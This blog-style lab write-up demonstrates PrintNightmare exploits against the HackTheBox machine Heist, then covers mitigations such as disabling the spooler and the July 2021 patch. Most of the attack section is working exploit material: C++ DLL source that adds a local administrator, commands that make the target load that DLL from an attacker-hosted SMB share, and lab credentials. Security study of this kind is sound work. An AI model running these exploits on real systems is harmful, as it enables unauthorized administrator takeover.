Playing with PrintNightmare
CVE-2021-34527, or PrintNightmare, is a vulnerability in the Windows Print Spooler that allows for a low priv user to escalate to administrator on a local box or on a remote server. This is especially bad because it is not uncommon for Domain Controllers to have an exposed print spooler, and thus, this exploit can take an attacker from low-priv user to domain admin. There are a few proof of concept exploits out there, and I wanted to give them a spin an old HackTheBox machine. I’ll also look at disabling the Print Spooler and how it breaks the exploits, and discuss the July 6 patch.
Background
History
The history on this bug is kind of interesting. Microsoft released a patch for a Windows Print Spooler Remote Code Execution Vulnerability on June 8, 2021, known as CVE-2021-1675. Seeing this patch, researchers in China were working on a proof of concept for a very similar bug in the print spooler, and on seeing the patch, they published their exploit on GitHub. Only they weren’t the same bug. The researchers later took down their exploit, but once something had hit the internet, the damage had been done.
Microsoft later updated the patch for CVE-2021-1675 (and updated the class from a privilege escalation to remote code execution) on July 2.
On July 6, Microsoft issued an out-of-band update (not on Patch Tuesday), but it’s unclear based on the discussions on Twitter as to if this patch fully remediates the issue. At the time of this post, they best flowchart to determine if the exploit will work is from this tweet:
This is my current understanding of the #PrintNightmare exploitability flowchart.
— Will Dormann (@wdormann) July 7, 2021
There's a small disagreement between me and MSRC at the moment about UpdatePromptSettings vs. NoWarningNoElevationOnUpdate, but I think it doesn't matter much as I just have both for now. pic.twitter.com/huIghjwTFq
For a larger version of that image, click here.
The story continues to change daily…There was a patch released on July 6, and I’ll discuss that a but in the Mitigrations section at the end of the post. Because I’m going to be playing with unpatched machines in the HackTheBox lab, the various POCs I’m showing will work without much issue. It is important to note that the Cube0x0 Impact exploit targets a different exploit path from the Cube0x0 SharpNightmare version, meaning that a patch the fixes one may or may not fix the other, so it’s worth showing them all.
Vulnerability
The vulnerability itself is with how a low privilege authenticated user is able to add a printer, and specifically providing a driver for that printer. The process checks that the user is authenticated and then grants them SYSTEM level access to install drivers for the printer.
This means that with a low priv shell on a windows box, or with valid credentials remotely, an attacker can get SYSTEM privileges on a host.
Target
I’ll demo different PrintNightmare exploits on Heist from HackTheBox. It’s a really nice retired Windows Machine, and it’s freely available to all players for HTB’s Take it Easy July event. It’s also nice because there are two users that I get credentials for in solving the box.
The hazard user has access to SMB and RPC using the password stealth1agent:
oxdf@parrot$ rpcclient -U 'hazard%stealth1agent' 10.10.10.149
rpcclient $> ^C
oxdf@parrot$ smbmap -H 10.10.10.149 -u hazard -p stealth1agent
[+] IP: 10.10.10.149:445 Name: 10.10.10.149
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
hazard cannot get a shell on Heist, but the chase user can get a low privilege shell using Evil-WinRM:
oxdf@parrot$ evil-winrm -i 10.10.10.149 -u SUPPORTDESK\\chase -p 'Q4)sJu\Y8qz*A3?d'
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Chase\Documents>
Exploit Examples
Invoke-Nightmare LPE
Invoke-Nightmare is a PowerShell script developed by Caleb Stewart and John Hammond, and it’s quite slick. I’ll clone their repo to my host, and rename the directory to avoid confusion:
oxdf@parrot$ git clone https://github.com/calebstewart/CVE-2021-1675
Cloning into 'CVE-2021-1675'...
remote: Enumerating objects: 40, done.
remote: Counting objects: 100% (40/40), done.
remote: Compressing objects: 100% (32/32), done.
remote: Total 40 (delta 9), reused 37 (delta 6), pack-reused 0
Receiving objects: 100% (40/40), 131.12 KiB | 3.97 MiB/s, done.
Resolving deltas: 100% (9/9), done.
oxdf@parrot$ mv CVE-2021-1675 invoke-nightmare
With the shell as chase, I’ll upload the .ps1
file to Heist:
*Evil-WinRM* PS C:\programdata> upload /opt/invoke-nightmare/CVE-2021-1675.ps1
Info: Uploading /opt/invoke-nightmare/CVE-2021-1675.ps1 to C:\programdata\CVE-2021-1675.ps1
Data: 238080 bytes of 238080 bytes copied
Info: Upload successful!
I’ll import the module:
*Evil-WinRM* PS C:\programdata> Import-Module .\CVE-2021-1675.ps1
Now I have access to the Invoke-Nightmare
command. With no args, this will add a user admin with password “P@ssw0rd”, or I can give it a username and password myself:
*Evil-WinRM* PS C:\programdata> Invoke-Nightmare -NewUser "0xdf" -NewPassword "0xdf0xdf"
[+] created payload at C:\Users\Chase\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\mxdwdrv.dll"
[+] added user 0xdf as local administrator
[+] deleting payload from C:\Users\Chase\AppData\Local\Temp\nightmare.dll
0xdf is now a user on the host, and in the Administrators group:
*Evil-WinRM* PS C:\programdata> net user 0xdf
User name 0xdf
Full Name 0xdf
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 7/8/2021 7:08:26 AM
Password expires Never
Password changeable 7/8/2021 7:08:26 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators
Global Group memberships *None
The command completed successfully.
I can connect over Evil-WinRM and access anything, like root.txt
:
oxdf@parrot$ evil-winrm -i 10.10.10.149 -u 0xdf -p 0xdf0xdf
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\0xdf\Documents> cd ..\..\administrator\desktop
*Evil-WinRM* PS C:\Users\administrator\desktop> type root.txt
50dfa3c6************************
Cube0x0 Impacket RCE
Scanning
Cube0x0 gives a way to test if the box is vulnerable using rpcdump.py
, and Heist is:
oxdf@parrot$ rpcdump.py @10.10.10.149 | grep MS-RPRN
Protocol: [MS-RPRN]: Print System Remote Protocol
DLL
Cube0x0’s exploit for PrintNightmare works remotely with creds. First, I’ll need to build a Dll. I’ve walked through this in detail before for HackBack. I’ll follow a similar set of steps to create a C++ DLL project, and use the following source for my Dll:
// dllmain.cpp : Defines the entry point for the DLL application.
#include "pch.h"
#include <stdlib.h>
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("cmd.exe /c net user 0xdf 0xdf0xdf /add");
system("cmd.exe /c net localgroup administrators 0xdf /add");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
The DllMain
function will be called for various reasons, one of which is when a process loads the DLL. In that case, the ul_reason_for_call
will be DLL_PROCESS_ATTACH
. So the DLL will be loaded, will execute these two system commands, and then be done. I’ll compile that and copy it back to my Parrot VM.
Samba
Cube0x0 has an example Samba config to allow for anonymous access on his GitHub page. It’s important that the user on the last line exists on your host. I updated mine to match a user I had configured with access to nothing.
[global]
map to guest = Bad User
server role = standalone server
usershare allow guests = yes
idmap config * : backend = tdb
smb ports = 445
[share]
comment = Samba
path = /srv/smb/
guest ok = yes
read only = no
browsable = yes
force user = nobody
I’ll restart Samba to take the updated config:
oxdf@parrot$ sudo service smbd restart
It’s also important that that user can read from the SMB share, so I’ll set that directory to be owned by that user:
oxdf@parrot$ sudo chown -R nobody:root smb/
oxdf@parrot$ sudo chmod -R 777 smb/
oxdf@parrot$ ls -l smb/
total 12
-rwxrwxrwx 1 nobody root 10240 Jul 7 22:10 AddUserDll.dll
Impacket
I’ll clone the repo and rename it:
oxdf@parrot$ cd /opt/
oxdf@parrot$ git clone https://github.com/cube0x0/CVE-2021-1675
Cloning into 'CVE-2021-1675'...
remote: Enumerating objects: 159, done.
remote: Counting objects: 100% (159/159), done.
remote: Compressing objects: 100% (98/98), done.
remote: Total 159 (delta 55), reused 124 (delta 32), pack-reused 0
Receiving objects: 100% (159/159), 1.45 MiB | 7.37 MiB/s, done.
Resolving deltas: 100% (55/55), done.
oxdf@parrot$ mv CVE-2021-1675 SharpPrintNightmare
oxdf@parrot$ cd SharpPrintNightmare/
This exploit uses a modified version of Impacket. I’ll clone that into this directory:
oxdf@parrot$ git clone https://github.com/cube0x0/impacket
Cloning into 'impacket'...
remote: Enumerating objects: 19570, done.
remote: Counting objects: 100% (645/645), done.
remote: Compressing objects: 100% (304/304), done.
remote: Total 19570 (delta 386), reused 531 (delta 339), pack-reused 18925
Receiving objects: 100% (19570/19570), 6.82 MiB | 9.18 MiB/s, done.
Resolving deltas: 100% (14798/14798), done.
To avoid messing up my system install, I’ll create a virtual environment, activate it, and install Impacket in there:
oxdf@parrot$ python3 -m venv venv
oxdf@parrot$ source venv/bin/activate
(venv) oxdf@parrot$ cd impacket/
(venv) oxdf@parrot$ python3 setup.py install
running install
running bdist_egg
running egg_info
...[snip]...
Run Exploit
With all the pieces assembled, I can run the exploit. I’ll give it the creds for the hazard user which work for an RPC connection, as well as the path to the DLL on the SMB share:
(venv) oxdf@parrot$ python3 CVE-2021-1675.py 'HEIST/hazard:stealth1agent@10.10.10.149' '\\10.10.14.200\share\AddUserDll.dll'
[*] Connecting to ncacn_np:10.10.10.149[\PIPE\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL
[*] Executing \\10.10.14.200\share\AddUserDll.dll
[*] Try 1...
[*] Stage0: 0
[*] Stage2: 0
[+] Exploit Completed
It worked!
If it throws an error, he’s what some troubleshooting showed me:
Error | Reason |
---|---|
impacket.dcerpc.v5.rpcrt.DCERPCException: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied |
permissions on the file in the SMB share |
impacket.dcerpc.v5.rprn.DCERPCSessionError: RPRN SessionError: code: 0x525 - ERROR_NO_SUCH_USER - The specified account does not exist. |
user in smbd.conf doesn’t exist |
I can now log in as 0xdf with admin privs:
oxdf@parrot$ evil-winrm -i 10.10.10.149 -u 0xdf -p 0xdf0xdf
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\0xdf\Documents> cd ..\..\administrator\desktop
*Evil-WinRM* PS C:\Users\administrator\desktop> type root.txt
50dfa3c6************************
SharpPrintNightmare LPE/RCE
Build
Cube0x0’s repo has a Visual Studio project in it for SharpPrintNightmare
. I’ll download the repo to my Windows VM, and open SharpPrintNightmare.sln
a couple directories deep. I’ll select Built –> Build Solution, and it builds:
1>------ Build started: Project: SharpPrintNightmare, Configuration: Release Any CPU ------
1> SharpPrintNightmare -> C:\Users\0xdf\Desktop\CVE-2021-1675-main\SharpPrintNightmare\SharpPrintNightmare\bin\Release\SharpPrintNightmare.exe
========== Build: 1 succeeded, 0 failed, 0 up-to-date, 0 skipped ==========
LPE
I’ll copy that .exe
back to my Linux VM. I’ll upload both the .exe
and the .dll
to Heist (though I could also host the .dll
on an SMB share like in the previous):
*Evil-WinRM* PS C:\programdata> upload /opt/SharpPrintNightmare/AddUserDll.dll
Info: Uploading /opt/SharpPrintNightmare/AddUserDll.dll to C:\programdata\AddUserDll.dll
Data: 13652 bytes of 13652 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\programdata> upload /opt/SharpPrintNightmare/SharpPrintNightmare.exe
Info: Uploading /opt/SharpPrintNightmare/SharpPrintNightmare.exe to C:\programdata\SharpPrintNightmare.exe
Data: 18432 bytes of 18432 bytes copied
Info: Upload successful!
Now I just run SharpPrintNightmare.exe
passing it the path to the DLL to run as SYSTEM:
*Evil-WinRM* PS C:\programdata> .\SharpPrintNightmare.exe \programdata\AddUserDll.dll
[*] pDriverPath C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\mxdwdrv.dll
[*] Executing \programdata\AddUserDll.dll
[*] Try 1...
[*] Stage 0: 0
[*] Try 2...
[*] Stage 0: 0
[*] Stage 2: 0
[+] Exploit Completed
0xdf has been added:
*Evil-WinRM* PS C:\programdata> net user 0xdf
User name 0xdf
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 7/8/2021 8:18:24 AM
Password expires Never
Password changeable 7/8/2021 8:18:24 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon Never
Logon hours allowed All
Local Group Memberships *Administrators *Users
Global Group memberships *None
The command completed successfully.
And Evil-WinRM works as well:
oxdf@parrot$ evil-winrm -i 10.10.10.149 -u 0xdf -p 0xdf0xdf
Evil-WinRM shell v2.4
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\0xdf\Documents>
RCE
The same EXE can be run to get remote execution from Windows. I had a tough time getting it working:
PS > .\SharpPrintNightmare.exe '\\10.10.14.200\share\AddUserDll.dll' \\10.10.10.149 heist hazard stealth1agent
[*] pDriverPath C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_83aa9aebf5dffc96\Amd64\UNIDRV.DLL
[*] Executing \\10.10.14.200\share\AddUserDll.dll
[*] Try 1...
[*] Stage 0: 5
[*] Try 2...
[*] Stage 0: 5
[*] Try 3...
[*] Stage 0: 5
It would try three times and stop. It’s possible I screwed up my SMB server. Or that something else is wrong. I do know you have to run as a user in the administrators group, but I tried both as 0xdf (who is in administrators) and with PowerShell running as Administrator.
Mitigation
Disable Spooler
Up until a couple days ago, the only mitigation was to disable the print spooler service.
From an admin shell (like 0xdf), I can do that with the following commands:
*Evil-WinRM* PS C:\Users\0xdf\Documents> stop-service -name spooler -force
*Evil-WinRM* PS C:\Users\0xdf\Documents> set-service -name spooler -startuptype disabled
The first disables the service currently, and the second will have it not start on reboot. The second isn’t really important on a HTB machine, as it will restore to a snapshot where the service is enabled and running, but I run it here just to show the best practice.
Once this is done, rpcdump.py @10.10.10.149 | grep MS-RPRN
no longer shows the service, and the exploit no longer works.
Invoke-Nightmare:
*Evil-WinRM* PS C:\programdata> Invoke-Nightmare -NewUser "0xdf" -NewPassword "0xdf0xdf"
[+] created payload at C:\Users\Chase\AppData\Local\Temp\nightmare.dll
[!] failed to get current driver list
Impacket RCE:
(venv) oxdf@parrot$ python3 CVE-2021-1675.py 'HEIST/hazard:stealth1agent@10.10.10.149' '\\10.10.14.200\share\AddUserDll.dll'
[*] Connecting to ncacn_np:10.10.10.149[\PIPE\spoolss]
[-] Connection Failed
SharpPrintNightmare:
*Evil-WinRM* PS C:\programdata> .\SharpPrintNightmare.exe \programdata\AddUserDll.dll
SharpPrintNightmare.exe :
+ CategoryInfo : NotSpecified: (:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
Unhandled Exception: System.ComponentModel.Win32Exception: The RPC server is unavailable
at SharpPrintNightmare.Program.getDrivers()
at SharpPrintNightmare.Program.Main(String[] args)
July 6 Patch
From what I’ve been able to read, the July 6 patch for CVE-2021-34527 fixes part of the vulnerability. Now administrator access is required to install any unsigned printer driver. While there are plenty of cases of signed malware, this is still a solid step forward. Additionally there’s a new registry key, RestrictDriverInstallationToAdministrators
, which will block all driver installation by non-administrator users, which seems like a good thing to try, as it prevents local privilege escalation entirely.
There is still a workaround for it, involving the “Point&Print” service. From it’s updated security bulletin:
UPDATE July 7, 2021: The security update for Windows Server 2012, Windows Server 2016 and Windows 10, Version 1607 have been released. Please see the Security Updates table for the applicable update for your system. We recommend that you install these updates immediately. If you are unable to install these updates, see the FAQ and Workaround sections in this CVE for information on how to help protect your system from this vulnerability.
In order to secure your system, you must confirm that the following registry settings are set to 0 (zero) or are not defined (Note: These registry keys do not exist by default, and therefore are already at the secure setting.):
- HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint
- NoWarningNoElevationOnInstall = 0 (DWORD) or not defined (default setting)
- NoWarningNoElevationOnUpdate = 0 (DWORD) or not defined (default setting)